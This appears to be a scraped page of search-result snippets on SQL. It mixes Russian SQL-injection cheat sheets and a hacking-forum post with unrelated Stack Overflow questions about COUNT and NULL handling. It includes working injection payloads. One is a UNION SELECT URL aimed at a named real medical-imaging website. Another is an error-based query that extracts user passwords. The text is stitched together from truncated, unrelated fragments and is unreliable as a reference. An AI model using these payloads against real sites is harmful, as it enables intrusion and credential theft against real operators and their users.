Шпаргалка по SQL инъекциям | DefconRU
(M): SELECT CONCAT(login, password) FROM members. 7. Строки без кавычек Есть несколько
sql - Counting null values as unique value - Stack Overflow
select count(distinct col1) + count(distinct case when col1 is null then 1 end) from YourTable.
SQL Инъекции | Page 798 | ANTICHAT - Security online community
http://www.indianamri.com/index.php?page=Indiana_MRI_Bloomington_-_MRI_Services_for_Bloomington_and_Southern_Indiana_Magnetic_Resonance_Imaging&menu_id=1'+limit+0+UNION+SELECT+1,concat_ws(0x3a,user(),version(),database())+
'(/**/select 1 /**/from(/**/select count(*),/**/concat((/**/select...
1)>(select count(*),concat( (select users.password) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x
sql server - Difference between select count(*) from... - Stack Overflow
I mean, use select count('quoted string') instead select count(*), and the reason was that count(*) goes through all the columns and degrades the performance, other people told me that there is no difference
sql injection "union select null" - CodeProject
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
sql - select count(*) from select - Stack Overflow
SELECT COUNT(*)(SELECT DISTINCT a.my_id, a.last_name, a.first_name, b.temp_val. FROM Table_A a INNER JOIN Table_B b on a.a_id = b.a_id).
Взламываем сайты: шпаргалка по SQL инъекциям
#SQL Server SELECT login + '-' + password FROM members #MySQL SELECT CONCAT(login
25 примеров команды SELECT в MySQL | ИТ Блог.
Вы можете использовать функцию CONCAT в команде SELECT
Заметка про NULL / Хабр | select col from ttt where col is not null
select 1 from dual where dummy = null; -- запрос не вернёт записей.